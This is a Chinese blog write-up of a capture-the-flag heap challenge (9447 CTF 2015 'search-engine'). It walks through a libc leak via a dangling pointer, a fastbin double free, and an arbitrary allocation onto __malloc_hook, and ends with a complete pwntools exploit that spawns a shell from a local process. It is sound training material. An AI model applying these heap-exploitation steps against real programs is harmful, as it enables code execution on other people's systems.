【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine

【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别,但都是通过malloc一块fake_chunk到指定区域,获得对该区域的写权限


目录

零、简单介绍

一、题目分析

1.主要功能

2.index_sentence(): 增添一条语句到“库”中

3.search_word():查询单词

4.read_str():读入字符串

二、解题思路

1.整体思路

2.泄露libc

3.getshell——劫持malloc_hook

三、利用过程

1.leak libc

2.fastbin循环指针

3.Arbitrary Alloc

4.hijack __malloc_hook

四、EXP

总结


零、简单介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。


一、题目分析

1.主要功能

主要有两项功能,一是增添sentence,二是查询单次。由于数据结构的组织对我而言比较复杂,因此有必要好好做一个分析。

2.index_sentence(): 增添一条语句到“库”中

这里的单词指针,是源自句子的一部分(因此将句子整个置为\x00后,word也将变为\x00)

结构体各成员含义:

  • content:单词的值
  • size:单词的长度
  • sentence_ptr:单词源自的句子
  • len:句子的长度
  • next:指向下一个word结构体变量
  • padding1和padding2:按对齐要求进行必要填充

3.search_word():查询单词

4.read_str():读入字符串

 尤其重要的是第三个参数的含义


二、解题思路

先看看保护机制

用patchelf给程序链接了合适的动态链接库

开始思考如何做题。

1.整体思路

  1. 泄露libc
  2. getshell
    1. got劫持?不太行
    2. ROP?劫持到栈上,也许可以
    3. hook劫持、打one_gadget?double free+Arbitrary Alloc,可以一试

2.泄露libc

可以从现有条件+已知方法考虑(泄露libc的方法可以多多积累,无非是获得libc中的一个真实地址,通过偏移计算基地址)

而泄露必然是回显,因此可以看看哪些输出,或者哪些指针是具有读权限的。

除了menu打印字符串常量,search_word()具有打印变量的权限,更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中,但是sentence被释放后,没赋值NULL,为野指针。因此可以利用chunk被释放后放入unsorted bin,堆管理中fd和bk指针被修改,再利用这里的write打印出来,即可泄露。——这也是经常利用泄露libc的手法。

唯一的问题是,如何绕过对word匹配的限制,调用write。

其实,当sentence被memset为\x00\x00…\x00后,word作为sentence字符串开始的字符串指针,也变味了\x00,这时只需要索引长度为1的\x00即可绕过对word的匹配检测。

3.getshell——劫持malloc_hook

我们知道,存在double free,因此我们可以利用这一点,构造循环指针A→B→A→B…然后申请A,修改对应fd域为fake_chunk。此时bin中即:B→A→fake_chunk。

然而这里有几个点需要注意:

  1. 需要malloc三个sentence,free三个sentence后,再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后,fastbin: A→B→C→NULL。注意,这里free的是sentence。在循环比较时,条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence,就是i→sentence),不可通过该检测。所以循环比较时,只会顺利检测并free A、B。而为了构造循环链表,应free B构造A→B→A…
  2. fake_chunk在malloc附近,因此fake_chunk的size一般可通过错位构造为0x7f,所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70(0x7F)大小的fake_chunk。 命令格式: find_fake_fast+被写入地址+chunk大小
  3. malloc_hook的地址比泄露出来的main_arena地址小0x10
  4. 由于leak libc时已经有一个sentence被free,因此search ’\x00‘ 时,会匹配到A、B和之前的leak_chunk,一次’y’,两次’n’

三、利用过程

1.leak libc

2.fastbin循环指针

malloc 三次,free 三次,再free 一次,即可。

3.Arbitrary Alloc

然后依据偏移即可求出每次程序的fake_chunk_addr

 4.hijack __malloc_hook

依据距离偏移,精确覆写malloc_hook:

(这里的值需要具体算,0xef9f4是one_gadget偏移)


四、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':
    a=1
    gdb.attach(io)

def search_word(size,word):
    io.sendline(b'1')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'word:\n')
    io.send(word)

def delete_word(choice):
    io.recvuntil(b'(y/n)?\n')
    io.sendline(choice)
    if choice==b'y':
        io.recvuntil(b'Deleted!\n')

def index_sentence(size,sentence):
    io.sendline(b'2')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'sentence:\n')
    io.send(sentence)

def gdb_break():
    if a==1:
        input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()

# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')

# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):
    index_sentence(length,sentence) 
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()

# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()

'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()


总结

1. unsorted bin泄露libc

2. find_fake_fast可查找错位构造fake_fast_chunk

3.UAF+double free+Arbitrary Alloc

4. 关注具有读写权限的指针和操作

  • 23
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值